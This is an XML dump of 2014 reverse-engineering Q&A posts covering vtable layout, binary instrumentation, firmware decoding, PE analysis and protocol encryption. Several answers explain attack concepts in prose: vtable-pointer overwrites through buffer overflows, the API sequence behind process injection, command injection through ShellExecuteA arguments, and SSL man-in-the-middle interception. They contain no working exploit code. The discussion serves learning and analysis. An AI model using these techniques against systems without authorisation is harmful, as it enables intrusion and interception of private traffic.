  <row Id="5957" PostTypeId="2" ParentId="5956" CreationDate="2014-07-28T13:45:02.810" Score="11" Body="&lt;p&gt;This is compiler dependent - the compiler may place the vtable wherever it wants to, as long as it does it consistently. However, in most cases, the vtable pointer is the first element (at offset 0) of the generated structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class test {&#xA;    int a;&#xA;    int b;&#xA;    test()          { ...; }&#xA;    ~test()         { ...; }&#xA;    void somefunc() { ...; }&#xA;    int c;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would use this memory layout for the class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------------+               +--------------+&#xA;|  vtable        | ------------&amp;gt; | test         |&#xA;+----------------+               +--------------+&#xA;|  a             |               | ~test        |&#xA;+----------------+               +--------------+&#xA;|  b             |               | somefunc     |&#xA;+----------------+               +--------------+&#xA;|  c             |&#xA;+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so (assuming pointers and integers are all 4 bytes), the vtable is at offset 0, a at 4, b at 8 and c at 12.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that not all compilers use this convention. For example, the Watcom C++ 386 compiler didn't use a vtable at all, but mixed the function pointers with data. (I know this case because i once disassembled a game that was compiled with Watcom 20 years ago. Not that i expect you to ever see this kind of layout in a modern compiler, just to provide an example that it can be different):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------------+&#xA;|  test          |&#xA;+----------------+&#xA;|  ~test         |&#xA;+----------------+&#xA;|  a             |&#xA;+----------------+&#xA;|  b             |&#xA;+----------------+&#xA;|  somefunc      |&#xA;+----------------+&#xA;|  c             |&#xA;+----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entries at offset 0 and 4 (again, assuming 4 byte integers/pointers) are the parameterless constructor and destructor function of the class, the rest is a mix of variables and methods in the order they appear in the class definition. Of course, this is horribly inefficient, because the compiler has to initialize every class method whenever an object is instantiated, instead of just setting one pointer to the vtable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: In most cases, the vtable pointer is the first element of the class structure, but you really need to know which compiler was used and which conventions this compiler has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing - you talk about a &quot;vtable overflow&quot; in your original post. Your &quot;normal&quot; exploit doesn't overflow a vtable; the vtables are pre-initialized when your program starts, and (normally) never ever change. To write an exploit, you would either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;use a buffer overflow to modify a function pointer in a vtable, so the next time the class method gets called, your code is executed instead&lt;/li&gt;&#xA;&lt;li&gt;use a buffer overflow to modify the vtable pointer of a class instance, so the next time this class instance executes a method, your vtable is used instead of the other one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As vtables normally don't change, and may even be placed in a read-only memory segment by the compiler, your normal exploit ignores 1. and uses 2.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-07-28T13:52:34.013" LastActivityDate="2014-07-28T13:52:34.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5958" PostTypeId="1" CreationDate="2014-07-28T14:31:33.293" Score="1" ViewCount="695" Body="&lt;p&gt;I am trying to add basic-block counting to a static analyzer. This analyzer itself uses &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow&quot;&gt;PIN&lt;/a&gt; as default tool for this kind of works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I wrote a pintool for counting basic-blocks. But, when I try to open a complex PDF (&lt;em&gt;eg.&lt;/em&gt; with 3D) or Excel, it takes about 5 minutes to proceed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also working on &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow&quot;&gt;DynamoRIO&lt;/a&gt;, but still no luck!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution to count basic-blocks faster?&lt;/p&gt;&#xA;" OwnerUserId="4575" LastEditorUserId="53" LastEditDate="2014-07-28T17:49:14.707" LastActivityDate="2014-07-28T18:21:44.763" Title="What Can Be a Fast Way to Count Basic-Blocks Dynamically?" Tags="|windows|binary-analysis|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5959" PostTypeId="2" ParentId="5949" CreationDate="2014-07-28T15:54:28.060" Score="0" Body="&lt;p&gt;While others have already provided some answers, I would like to add some additional points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could code a pintool (DBI) which logs all the API calls. You could add some filters in your pintool to reduce the amount of API calls you log. Using a pintool has an advantage since anti debugging techniques used by malwares would not have an effect on it. Of course, we are assuming that the malware is not trying to protect itself from DBI frameworks. However, if you set breakpoints on LoadLibrary and GetProcAddress to see which libraries are loaded dynamically and which function addresses are resolved, you could be effected by anti debugging techniques used by the malware. Before you hit the breakpoint, the malware would have already discovered that it is being debugged and alter the program flow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you not to conclude the functionality of a  malware only by looking at the API names imported from different modules. A sequence of API calls can sometimes indicate malicious activity. For instance,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CreateProcessW&#xA;VirtualAllocEx&#xA;WriteProcessMemory&#xA;WriteProcessMemory&#xA;GetThreadContext&#xA;SetThreadContext&#xA;ResumeThread&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, you could see these API names imported from kernel32.dll when you open the binary in a software like CFF explorer, however to conclude the usage of these APIs, an API trace would help. In this case, it is a standard method used by several binaries to perform code injection into the address space of another process.&lt;/p&gt;&#xA;" OwnerUserId="8158" LastActivityDate="2014-07-28T15:54:28.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5961" PostTypeId="2" ParentId="5930" CreationDate="2014-07-28T16:26:53.040" Score="2" Body="&lt;p&gt;In addition to what others have already mentioned with respect to Compiler Optimizations, there is another possibility. At times, malwares can perform control flow obfuscations by making use of a lot of opaque predicates (in this case, unconditional jumps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, if you perform an instruction trace using a pintool (DBI) on a malware, at times you will observe a lot of jmp instructions executed in sequence. You can observe these type of subroutines in malwares which make use of polymorphic engines. It can help deter reverse engineering as it alters the control flow while stepping through the code.&lt;/p&gt;&#xA;" OwnerUserId="8158" LastActivityDate="2014-07-28T16:26:53.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5962" PostTypeId="2" ParentId="5958" CreationDate="2014-07-28T16:55:18.230" Score="2" Body="&lt;p&gt;Does your pintool remove the calls to the instrumentation function from a block after it's called once? This could help with performance for blocks that are called very often if you are only interested in knowing which blocks are reached and not how many times they are.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-07-28T16:55:18.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5963" PostTypeId="2" ParentId="5958" CreationDate="2014-07-28T18:21:44.763" Score="2" Body="&lt;p&gt;The &lt;em&gt;bbcount&lt;/em&gt; example in DynamoRIO should give you a very good starting point, assuming that you really want to count the number of times a basic block is executed at runtime.&#xA;The instrumentation inserted by this example is very close to the bare minimum you can achieve (it directly inserts an increment instruction pointing to a global buffer and tries to do so at a location where flags are dead, so it can overwrite them safely without restoring them).&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-07-28T18:21:44.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5964" PostTypeId="2" ParentId="5945" CreationDate="2014-07-28T19:32:59.977" Score="14" Body="&lt;p&gt;I downloaded the archive you referenced and the first thing I noticed was that the firmware files are very heavy in the 0x80 - 0xff range.  Inverting each byte resulted in a much nicer byte distribution and looked like it had some structure but still not quite right.  I assume that since they went as far as inverting the bytes, they might have done some bit-manipulation such as XOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this file is a firmware update, there is usually a header or a footer.  It looks like there is a header of offsets or something, but nothing made sense.  Scrolling further through the file, around byte 35000, there appears to be a block of structured data, followed by a block of 0xff and then a 16-byte &quot;footer&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003F1F0: 84 95 74 64 B4 63 13 14 00 00 00 00 3C DC C5 6C   ..td.c......&amp;lt;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first 8 bytes look like a good place to start.  Going through a few common XOR strategies resulted in nothing.  Then I noticed that these bytes have a low nibble of 3, 4 or 5 which would place them in the printable ASCII range.  So swap the nibbles of each byte (aka rotate left 4 bits) ... :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003F1F0: 48 59 47 46 4B 36 31 41 00 00 00 00 C3 CD 5C C6   HYGFK61A........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bingo!  Since the firmware updater window title is &quot;HY USB Firmware Downloader&quot;, I think this is a winner.  Loading the resulting file into IDA, Cortex M-0 Thumb 2 settings, and sure enough, we have valid code starting at offset 0x0120 and ASCII string block at offset 0x32121.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary: Decode the .bin files by processing each byte as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rotate left 4 bits and invert:  &#xA;c = (((c &amp;amp; 0x0f) &amp;lt;&amp;lt; 4) | ((c &amp;amp; 0xf0) &amp;gt;&amp;gt; 4)) ^ 0xff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2741" LastActivityDate="2014-07-28T19:32:59.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5967" PostTypeId="2" ParentId="3791" CreationDate="2014-07-28T20:59:10.153" Score="3" Body="&lt;p&gt;After having performed a few tests, we derived this histogram of the interval between two successive data points received. The largest peak correspond to a frequency of 40Hz.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VFh7I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4084" LastActivityDate="2014-07-28T20:59:10.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5968" PostTypeId="1" CreationDate="2014-07-29T08:35:59.090" Score="1" ViewCount="2520" Body="&lt;p&gt;Imagine that we have the following pseudo-code in a Windows application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ShellExecuteA(0, &quot;open&quot;, &amp;amp;File, &amp;amp;Parameters, &amp;amp;Directory, 1); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, imagine that you can gain control over the &lt;code&gt;Parameters&lt;/code&gt; argument. Does that mean it is exploitable ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that &lt;code&gt;ShellExecute()&lt;/code&gt; is vulnerable to command injection. But, in this case, is it also vulnerable in the same manner ?&lt;/p&gt;&#xA;" OwnerUserId="4725" LastEditorUserId="53" LastEditDate="2014-07-29T10:28:29.987" LastActivityDate="2014-08-07T09:51:08.933" Title="Command Injection in Windows ShellExecuteA()?" Tags="|windows|c|winapi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5970" PostTypeId="1" CreationDate="2014-07-29T12:44:55.600" Score="2" ViewCount="276" Body="&lt;p&gt;For my own personal curiosity and development (building a bit of code mimicking the protocol), I am trying to figure out what the communication  protocol encryption is made out of in a particular chat application for Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on what I know from some years ago where somebody managed to reverse engineer the encryption, it uses - at least AES encryption and some XOR´ing. It´s been updated many times since then though, and when I try to run it through &lt;a href=&quot;http://aluigi.altervista.org/mytoolz.htm#signsrch&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;signsrch&lt;/code&gt;&lt;/a&gt;, there are many references in it compared to the old version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I have tried to read what I could find about how one identifies encryption methods within an application, and so far I have come to the point where a breakpoint is triggered in Ollydbg whenever I´m trying to send something (login and password). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, I'm lost... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be looking through the stack to try finding pure ASCII showing the string I entered before it getting encrypted or what ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it puzzles me that the addresses showing in &lt;code&gt;signsrch&lt;/code&gt; seem not to be the same as the addresses in the application when viewing it in Ollydbg: As far as I have understood, the addresses are pointing to various encryption signatures, but those addresses - in Ollydbg - are just assembly commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anybody be so kind to give me a bit of advice on this subject? &lt;/p&gt;&#xA;" OwnerUserId="8165" LastEditorUserId="53" LastEditDate="2014-07-29T13:21:52.397" LastActivityDate="2014-07-30T02:56:33.227" Title="Understanding a messengers protocol encryption" Tags="|encryption|cryptography|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5971" PostTypeId="2" ParentId="5968" CreationDate="2014-07-29T14:03:16.657" Score="2" Body="&lt;p&gt;It depends on the &lt;code&gt;lpFile&lt;/code&gt; argument. If &lt;code&gt;lpFile&lt;/code&gt; is a command-line interpreter (such as &lt;code&gt;cmd.exe&lt;/code&gt; or &lt;code&gt;powershell.exe&lt;/code&gt;) or a program that can accept code as a command line argument (such as &lt;code&gt;perl.exe&lt;/code&gt; or &lt;code&gt;ruby.exe&lt;/code&gt;), then yes, you could supply arbitrary commands for a command injection attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the &lt;code&gt;lpFile&lt;/code&gt; program doesn't execute command line arguments (for example, &lt;code&gt;notepad.exe&lt;/code&gt;, &lt;code&gt;pbrush.exe&lt;/code&gt;, etc.), then there is no command injection vulnerability. Note that even in these cases though, if the &lt;code&gt;lpFile&lt;/code&gt; program tries to open the file path supplied in the command line, this could still be seen as a security issue.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-29T14:03:16.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5972" PostTypeId="1" AcceptedAnswerId="5973" CreationDate="2014-07-29T15:30:35.310" Score="1" ViewCount="375" Body="&lt;p&gt;While viewing the PE headers and imported functions of some programs designed with visual C. I found that they all include one of these functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;MSVCRT.DLL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MSVCR80.DLL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MSVCR90.DLL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MSVCR100D.DLL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MSVCRT20.DLL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;MSVCRT40.DLL&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;And other DLLs which starts with the MSVC prefix.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does this mean that any program (even malware) that imports any of these functions must be compiled by MSVC ?&lt;/p&gt;&#xA;" OwnerUserId="7017" LastEditorUserId="53" LastEditDate="2014-07-29T17:15:25.230" LastActivityDate="2014-07-29T21:14:59.693" Title="Does MSVCXXX.dll means that the PE file is compiled by Microsoft Visual C?" Tags="|disassembly|c++|c|pe|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5973" PostTypeId="2" ParentId="5972" CreationDate="2014-07-29T15:34:39.440" Score="2" Body="&lt;p&gt;While it's possible for something to be compiled with a compiler other than MSVC and &quot;manually&quot; import from an MSVC DLL, it's extremely unlikely and uncommon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chances are, yes, if you see something importing from an MSVC DLL, it was very likely compiled with MSVC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind though that it's possible to have an executable compiled with MSVC that doesn't import functions from an MSVC DLL.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-29T15:34:39.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5974" PostTypeId="1" CreationDate="2014-07-29T15:40:33.073" Score="3" ViewCount="905" Body="&lt;p&gt;I am trying to use &lt;a href=&quot;https://github.com/deresz/funcap&quot; rel=&quot;nofollow&quot;&gt;funcap plugin&lt;/a&gt; in IDA pro 6.1. However, after loading the plugin (with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt;) and pressing the debugger's run button, it returns me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Internal error 30191 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea what is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I have tried with both Python 2.6 and 2.7.&lt;/p&gt;&#xA;" OwnerUserId="8166" LastEditorUserId="53" LastEditDate="2014-07-29T17:10:05.810" LastActivityDate="2014-07-30T03:02:50.160" Title="Getting funcap plugin work in IDA pro" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5975" PostTypeId="2" ParentId="5972" CreationDate="2014-07-29T16:57:30.600" Score="-2" Body="&lt;p&gt;&quot;Extremely unlikely and uncommon&quot; sounds exactly like something malware would try/strive for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using normal WinAPI functions, as a distraction for the reverser or a time-wasting mechanism against an emulator, in malware packers is common &lt;a href=&quot;http://www.mcafee.com/au/resources/reports/rp-packer-layers-rogue-antivirus-programs.pdf&quot; rel=&quot;nofollow&quot;&gt;&lt;/a&gt;.&lt;br&gt;&#xA;There is no reason for not using msvcrt.dll functions (However one cannot count on Redistributable Packs for Visual Studio X being installed so the presence of msvcrt90.dll and similar is a flag against it being malware), so the presence of msvcrt* is not reliable at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry-point signature, Rich signature or the debug directory would be better choices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just quickly: Those with a D are the debug versions. &lt;/p&gt;&#xA;" OwnerUserId="8093" LastEditorUserId="8093" LastEditDate="2014-07-29T21:14:59.693" LastActivityDate="2014-07-29T21:14:59.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5976" PostTypeId="2" ParentId="5970" CreationDate="2014-07-29T18:06:33.537" Score="2" Body="&lt;p&gt;Just as an example, consider the source code for AES at &lt;a href=&quot;https://polarssl.org/aes-source-code&quot; rel=&quot;nofollow&quot;&gt;https://polarssl.org/aes-source-code&lt;/a&gt;. This has various tables, one of which is the &lt;code&gt;Forward S-Box&lt;/code&gt;, &lt;code&gt;FSb&lt;/code&gt; - which should be the same in all AES implementations. So, a signature checker like &lt;code&gt;signsrch&lt;/code&gt; will say &quot;AES&quot; if it finds the fsb table, but it doesn't know which AES implemenation is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the FSb table is used in various functions in the source code - &lt;code&gt;aes_gen_tables&lt;/code&gt;, &lt;code&gt;aes_setkey_enc&lt;/code&gt;, &lt;code&gt;aes_setkey_dec&lt;/code&gt;, &lt;code&gt;aes_crypt_ecb&lt;/code&gt; - they all use the same FSb array. If you look at a different AES implementation, these functions will probably have different names, use a different set of local variables, handle errors differently, and won't be too similar in object code to the polarssl ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, depending on the framework your compiler uses, your application will probably call a framework function which calls something else .. and arrives at the basic &lt;code&gt;aes_*&lt;/code&gt; functions 5-10 levels deeper. So, there's no easy way to match your breakpoint to the actual aes_* functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, the fact that &lt;code&gt;signsrch&lt;/code&gt; detects an AES signature does not neccesarily mean AES is used at all. Your application might link the &lt;code&gt;openssl&lt;/code&gt; libraries, which pulls in all kind of encryption functions, possibly even those that aren't used in your application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing you can do is place a hardware breakpoint on the FSb or a similar table, which will trigger when the program actually uses AES. Then, walk up the stack to find out which function calls which, and how this relates to your name/password function. Try to match this function backtrace to known implementations of AES (i'd start with openssl), so you can possibly find out where the high-level routines are. Then, place breakpoints on these high-level routines to get an idea of what gets encrypted, what the encryption results are, and how this relates to the bits on the network, which you can capture using wireshark or a similar tool.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-07-29T18:06:33.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5978" PostTypeId="1" AcceptedAnswerId="5979" CreationDate="2014-07-29T18:13:20.037" Score="2" ViewCount="415" Body="&lt;p&gt;I'm analyzing entries in the relocation section of a binary. In particular, I want to know if all the targets of jumps have a corresponding entry in the relocation section. The screenshot shows the relocation section entries of the binary I'm analyzing, to the left, as well as the assembly code of the binary showing only the jump instructions, to the right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bwKfF.png&quot; alt=&quot;Relocation section and disassembly of binary&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand, the first instruction in the assembly code at address 0x40be04 (jmp *0x4f422c) should have an entry in the relocation section. However, the last entry in the relocation section is for address 0x401fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't some addresses have an entry in the relocation section? Am I misunderstanding something in my analysis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: The screenshot shows the binary disassembled using objdump on cygwin. The relocation section entries were generated using PE-Parser (&lt;a href=&quot;https://github.com/trailofbits/pe-parse&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/trailofbits/pe-parse&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="8168" LastEditorUserId="8168" LastEditDate="2014-07-29T18:38:35.927" LastActivityDate="2014-07-29T18:38:35.927" Title="Missing addresses from relocation section of ASLR enabled PE binary" Tags="|binary-analysis|binary-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5979" PostTypeId="2" ParentId="5978" CreationDate="2014-07-29T18:26:34.443" Score="2" Body="&lt;p&gt;There are a couple of possiblities here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possibility is that the relocation table has been truncated, so you see only the first page of relocation items (the table is an array of items on a per-page basis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possiblity is that the file doesn't support ASLR (perhaps intentionally, or perhaps it is assumed to not exist) so the relocation table isn't parsed.  This would allow the address at 0x40be04 to execute even in the absence of a relocation item, because the image will never be loaded to another address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, the disassembly itself looks strange, as though the file is obfuscated.  If so, then it is quite possible that the author of the obfuscator does not take ASLR into account, and so did not bother to add relocation items for the relevant jump.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-07-29T18:26:34.443" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5980" PostTypeId="2" ParentId="5970" CreationDate="2014-07-30T02:56:33.227" Score="1" Body="&lt;p&gt;This is not a reverse engineering answer per se, but more of a general common sense approach. Since it is a chat application, it presumably uses a network. I would launch the application while using a network packet dissector (sniffer) like wireshark. From there I would try to identify if a common encryption technique is being used (e.g. TLS encryption). You may find that is an adequate solution. Moreover, using a network sniffer while running the program in a debugger may help you identify the relevant portions of code that correspond to network packet transmission and thereby construction by stepping in reverse from that point. &lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2014-07-30T02:56:33.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5981" PostTypeId="2" ParentId="5974" CreationDate="2014-07-30T03:02:50.160" Score="4" Body="&lt;p&gt;By any chance do you have the IDAStealth plugin installed? If so, do you have SEH debugging support features enabled? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the bugfix for the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bugfix: If any of the SEH debugging support features was used an &quot;internal error 30191&quot; would be raised in IDA as soon as the exception occurred in the debuggee&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://newgre.net/idastealth&quot; rel=&quot;nofollow&quot;&gt;http://newgre.net/idastealth&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2014-07-30T03:02:50.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5982" PostTypeId="2" ParentId="5948" CreationDate="2014-07-30T03:12:10.530" Score="1" Body="&lt;p&gt;If the application in question doesn't verify SSL encryption then you can strip SSL using an intercepting proxy. However, if the application does verify SSL and throws an error if encryption is stripped, one option is to create your own SSL certificate pair and add it to your OS certificate trust store like so: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pubs.vmware.com/view-51/topic/com.vmware.view.installation.doc/GUID-2D968AD7-ED62-46CA-B2B2-CCC526CA09F5.html&quot; rel=&quot;nofollow&quot;&gt;http://pubs.vmware.com/view-51/topic/com.vmware.view.installation.doc/GUID-2D968AD7-ED62-46CA-B2B2-CCC526CA09F5.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the application checks the authenticity of an SSL certificate against your OS certificate trust store and forces encrypted traffic, you can spoof the endpoint while retaining a non-stripped, 'valid' encrypted session between the application and a proxy which receives a SSL encrypted session from your host using the self-signed certificate and reencrypts using a non self-signed certificate. Thereby you have an encrypted session that appears valid and non-stripped to both ends of the session with a man-in-the-middle attack. &lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2014-07-30T03:12:10.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5983" PostTypeId="2" ParentId="4203" CreationDate="2014-07-30T03:15:19.950" Score="1" Body="&lt;p&gt;cgdb is a curses based gdb interface that may be worth looking at: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cgdb.github.io/&quot; rel=&quot;nofollow&quot;&gt;https://cgdb.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2014-07-30T03:15:19.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5984" PostTypeId="1" AcceptedAnswerId="5986" CreationDate="2014-07-31T01:28:02.850" Score="10" ViewCount="1926" Body="&lt;p&gt;So basically I am writing some code to do analysis work on disassembled assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trapped in this issue for a while, here is an simple example of a disassembled asm code by objdump, basically all the address symbols have been translated into concrete value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. mov 0x8408080, %eax&#xA;2. ....&#xA;3. call *%eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically for the above example, it is easy to determine that &lt;code&gt;0x8408080&lt;/code&gt; used in line 1 is an address of code, and I know it is relatively easy to heuristically consider all the value falling into the range of &lt;code&gt;.text section&lt;/code&gt; as a pointer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, how to use static analysis to automatically identify this issue? (I want to write a tool to analyze large amount of code as accurate as possible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know somehow I should use &lt;strong&gt;constant propagation&lt;/strong&gt; to forwardly do the analysis, but  basically as I am new to program analysis, I just don't know actually where to start..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experiences like this? Or is there any implemented tools I can look for help..?&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-07-31T11:15:17.273" Title="How to do static analysis to identify pointer from concrete value in assembly?" Tags="|disassembly|assembly|x86|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5985" PostTypeId="2" ParentId="5948" CreationDate="2014-07-31T02:10:15.373" Score="2" Body="&lt;p&gt;An alternative approach might be to use &lt;a href=&quot;http://recon.cx/2014/slides/PANDA%20REcon.pdf&quot; rel=&quot;nofollow&quot;&gt;panda&lt;/a&gt; to extract the key from a trace as documented in the &lt;a href=&quot;https://github.com/moyix/panda/blob/master/docs/panda_ssltut.md&quot; rel=&quot;nofollow&quot;&gt;panda ssl tutorial&lt;/a&gt;. That said, the usual mitm approach is probably a bit easier to get going unless you're dealing with &lt;a href=&quot;https://en.wikipedia.org/wiki/Certificate_pinning#Certificate_pinning&quot; rel=&quot;nofollow&quot;&gt;certificate pinning&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2014-07-31T02:10:15.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
